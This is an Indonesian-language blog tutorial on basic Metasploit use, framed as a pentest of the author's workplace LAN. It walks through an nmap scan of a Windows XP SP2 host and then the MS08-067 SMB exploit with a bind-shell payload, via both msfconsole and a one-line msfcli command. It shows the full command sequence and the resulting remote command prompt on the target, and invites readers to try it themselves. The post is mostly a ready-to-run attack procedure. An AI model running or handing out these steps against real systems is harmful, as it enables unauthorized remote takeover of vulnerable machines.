Saturday, September 9, 2017

Teknik Dasar Metasploit

Posting ini kubuat sebagai salah satu contoh audit security halah.. pentest aja yah bahasanya di network lokal tempatku bekerja. Ndak pake kata-kata hacking lah.. Wong cuman manfaatin tools yang disebar di inet kok disebut hacking :p. Soalnya banyak kale yang test metasploit seperti ini dan dibilang hacking bla-bla-bla. :-p. Go to side corner lamerzz... silahkan coba sendiri ya. cara yang paling mudah sebenarnya bisa menggunakan OS BackTrack, tapi disini saya menggunakan ubuntu yang telah diinstall metasploit. Langkah instalasinya bisa dilihat disini.

Metasploit : msfconsole
Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan :D . Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:

$ msfconsole


Untuk perintah-perintah lainnya bisa dipelajari dengan mengetikkan help :
    msf > help
    Core Commands
    =============
    
    Command       Description
    -------       -----------
    ?             Help menu
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    connect       Communicate with a host
    exit          Exit the console
    help          Help menu
    info          Displays information about one or more module
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    quit          Exit the console
    resource      Run the commands stored in a file
    route         Route traffic through a session
    save          Saves the active datastores
    search        Searches module names and descriptions
    sessions      Dump session listings and display information about sessions
    set           Sets a variable to a value
    setg          Sets a global variable to a value
    show          Displays modules of a given type, or all modules
    sleep         Do nothing for the specified number of seconds
    unload        Unload a framework plugin
    unset         Unsets one or more variables
    unsetg        Unsets one or more global variables
    use           Selects a module by name
    version       Show the framework and console library version numbers
Untuk melihat list exploits-nya , gunakan perintah :
    msf > show exploits
List seluruh exploit yang ada kira-kira seperti ini (saya paste sebagian saja biar ndak terlalu panjang) :
    windows/smb/ms05_039_pnp              Microsoft Plug and Play Service Overflow
    windows/smb/ms06_025_rasmans_reg      Microsoft RRAS Service RASMAN Registry Overflow
    windows/smb/ms06_025_rras             Microsoft RRAS Service Overflow
    windows/smb/ms06_040_netapi           Microsoft Server Service NetpwPathCanonicalize Overflow
    windows/smb/ms06_066_nwapi            Microsoft Services MS06-066 nwapi32.dll
    windows/smb/ms06_066_nwwks            Microsoft Services MS06-066 nwwks.dll
    windows/smb/ms08_067_netapi           Microsoft Server Service Relative Path Stack Corruption
Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.28 :
    msf > sudo nmap -v -sS -A -O 192.168.1.28
    [*] exec: sudo nmap -v -sS -A -O 192.168.1.28
    [sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT
    Initiating ARP Ping Scan at 23:50
    Scanning 192.168.1.28 [1 port]
    Host 192.168.1.28 appears to be up ... good.
    Interesting ports on 192.168.1.28:
    Not shown: 1712 closed ports
    PORT    STATE SERVICE      VERSION
    135/tcp open  msrpc        Microsoft Windows RPC
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
    MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
    Device type: general purpose
    Running: Microsoft Windows XP
    OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
    Network Distance: 1 hop
    TCP Sequence Prediction: Difficulty=258 (Good luck!)
    IP ID Sequence Generation: Incremental
    Service Info: OS: Windows
Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.
    msf > use windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) >
Lihat opsi dari exploit ini dengan mengetikkan show options :
    msf exploit(ms08_067_netapi) > show options
    Module options:
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    RHOST                     yes       The target address
    RPORT    445              yes       Set the SMB service port
    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
    
    Exploit target:
    Id  Name
    --  ----
    0   Automatic Targeting
Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :
    msf exploit(ms08_067_netapi) > set rhost 192.168.1.28
    rhost => 192.168.1.28
Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :
    msf exploit(ms08_067_netapi) > show targets
    Exploit targets:
    Id  Name
    --  ----
    0   Automatic Targeting
    1   Windows 2000 Universal
    2   Windows XP SP0/SP1 Universal
    3   Windows XP SP2 English (NX)
    4   Windows XP SP3 English (NX)
    -------- cut -----------
Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :
    msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
    payloads => windows/shell_bind_tcp
Untuk melihat payload apa saja dalam metasploit, gunakan perintah :
    msf exploit(ms08_067_netapi) > show payloads
    Compatible payloads
    ===================
    Name                                            Description
    ----                                            -----------
    generic/debug_trap                Generic x86 Debug Trap
    generic/debug_trap/bind_ipv6_tcp  Generic x86 Debug Trap, Bind TCP Stager (IPv6)
    generic/debug_trap/bind_nonx_tcp  Generic x86 Debug Trap, Bind TCP Stager (No NX Support)
    generic/debug_trap/bind_tcp       Generic x86 Debug Trap, Bind TCP Stager
    ----------- dipotong sampai disini ---------------
Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :
    msf exploit(ms08_067_netapi) > show options
    Module options:
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    RHOST    192.168.1.28     yes       The target address
    RPORT    445              yes       Set the SMB service port
    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
    
    Payload options (windows/shell_bind_tcp):
    Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  thread           yes       Exit technique: seh, thread, process
    LPORT     4444             yes       The local port
    RHOST     192.168.1.28     no        The target address
    Exploit target:
    Id  Name
    --  ----
    0   Automatic Targeting
sekarang jalankan exploit :
    msf exploit(ms08_067_netapi) > exploit
    [*] Started bind handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Triggering the vulnerability...
    [*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)
    
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\WINDOWS\system32>ipconfig
    ipconfig
    Windows IP Configuration
    Ethernet adapter Local Area Connection:
    
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.28
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254
    
    C:\WINDOWS\system32>
Dan ternyata emang masih bolong… :p
Metasploit : msfcli
Dari langkah-langkah diatas… sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.
Untuk melihat manual perintahnya bisa dilihat dari help maupun
manpage-nyawiki-nya metasploit.
    bash-4.1$ msfcli –help
    [*] Please wait while we load the module tree...
    Error: Invalid module: --help
    Usage: /usr/local/bin/msfcli   [mode]
    =================================================================
    Mode           Description
    ----           -----------
    (H)elp         You're looking at it baby!
    (S)ummary      Show information about this module
    (O)ptions      Show available options for this module
    (A)dvanced     Show available advanced options for this module
    (I)DS Evasion  Show available ids evasion options for this module
    (P)ayloads     Show available payloads for this module
    (T)argets      Show available targets for this exploit module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module
So.. mari kita coba. Contoh kasusnya sama seperti artikel msfconsole biar ndak capek nulisnya yaitu:
    IP Addr Target : 192.168.1.28
    Port target : 445
    Exploit  : windows/smb/ms08_067_netapi
    Payload  : windows/shell_bind_tcp
    Exploit target : 0
Dan implementasinya menjadi seperti ini :
    bash$ msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.28 TARGET=0 PAYLOAD=generic/shell_bind_tcp E
    [*] Please wait while we load the module tree...
    [*] Started bind handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:English
    [*] Selected Target: Windows XP SP2 English (NX)
    [*] Triggering the vulnerability...
    [*] Command shell session 1 opened (192.168.1.6:36804 -> 192.168.1.28:4444)
    
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\WINDOWS\system32>ipconfig
    ipconfig
    Windows IP Configuration
    Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.28
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254
    C:\WINDOWS\system32>
Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri karena saya malas upload gambarnya :-p. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.